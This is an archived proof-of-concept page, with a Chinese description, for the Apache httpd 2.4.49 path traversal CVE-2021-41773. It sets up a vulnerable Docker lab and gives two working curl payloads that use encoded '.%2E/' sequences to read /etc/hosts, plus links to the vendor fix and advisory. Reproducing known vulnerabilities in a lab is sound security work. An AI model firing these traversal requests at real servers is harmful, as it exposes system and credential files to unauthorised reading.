POC详情: 6af1fd66430ba8e69a1fe1f3b2a224dc53ad1f20

来源
关联漏洞
标题: Apache HTTP Server 路径遍历漏洞 (CVE-2021-41773)
描述:Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点。 Apache HTTP Server 2.4.49版本存在路径遍历漏洞,攻击者可利用该漏洞使用路径遍历攻击将URL映射到预期文档根以外的文件。
介绍
# CVE-2021-41773 (Apache httpd only 2.4.49)

For educational purposes only.

See Reference for the details.


## Run
```
$ git clone https://github.com/masahiro331/CVE-2021-41773.git
$ cd CVE-2021-41773
$ docker build -t cve-2021-41773 .
$ docker run -d -p 8080:80 cve-2021-41773
```

## Exploit
```
# This vulnerability affects the use of Alias.
$ curl http://localhost:8080/cgi-bin/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/etc/hosts
$ curl http://localhost:8080/webpath/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/etc/hosts
```

## Reference

[Fixed commit](https://github.com/apache/httpd/commit/98246aa96079dad5f7b20521bbc0142a04f1c5e7)
[Vendor advisory](https://httpd.apache.org/security/vulnerabilities_24.html)
文件快照

[4.0K] /data/pocs/6af1fd66430ba8e69a1fe1f3b2a224dc53ad1f20 ├── [ 70] Dockerfile ├── [ 20K] httpd.conf └── [ 752] README.md 0 directories, 3 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。